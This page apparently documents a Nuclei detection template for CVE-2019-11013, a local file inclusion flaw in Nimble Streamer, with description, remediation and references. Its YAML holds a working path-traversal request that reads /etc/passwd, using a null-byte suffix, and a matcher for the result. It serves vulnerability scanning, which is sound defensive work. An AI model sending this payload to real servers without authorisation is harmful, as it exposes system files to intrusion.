Skip to content
Nuclei Templates

Nimble Streamer <=3.5.4-9 - Local File Inclusion

ID: CVE-2019-11013

Severity: medium

Author: 0x_Akoko

Tags: cve,cve2019,lfi,nimble,edb,packetstorm,softvelum

Description

Section titled “Description”

Nimble Streamer 3.0.2-2 through 3.5.4-9 is vulnerable to local file inclusion. An attacker can traverse the file system to access files or directories that are outside of the restricted directory on the remote server.

YAML Source

Section titled “YAML Source”
id: CVE-2019-11013


info:
  name: Nimble Streamer <=3.5.4-9 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: Nimble Streamer 3.0.2-2 through 3.5.4-9 is vulnerable to local file inclusion. An attacker can traverse the file system to access files or directories that are outside of the restricted directory on the remote server.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further exploitation of the system.
  remediation: |
    Upgrade Nimble Streamer to a version higher than 3.5.4-9 to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47301
    - https://mayaseven.com/nimble-directory-traversal-in-nimble-streamer-version-3-0-2-2-to-3-5-4-9/
    - http://packetstormsecurity.com/files/154196/Nimble-Streamer-3.x-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11013
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-11013
    cwe-id: CWE-22
    epss-score: 0.01775
    epss-percentile: 0.87745
    cpe: cpe:2.3:a:softvelum:nimble_streamer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: softvelum
    product: nimble_streamer
  tags: cve,cve2019,lfi,nimble,edb,packetstorm,softvelum


http:
  - method: GET
    path:
      - "{{BaseURL}}/demo/file/../../../../../../../../etc/passwd%00filename.mp4/chunk.m3u8?nimblesessionid=1484448"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 490a00463044022100f4c709e1b41dd3a16211fe9f084b5a386fa9d58b0ed9cb53741795ccf8ee3184021f1f3e7a7591425d350401ef1a1e864481967bf9977505bb01a98f1f9274665d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-11013.yaml"

View on Github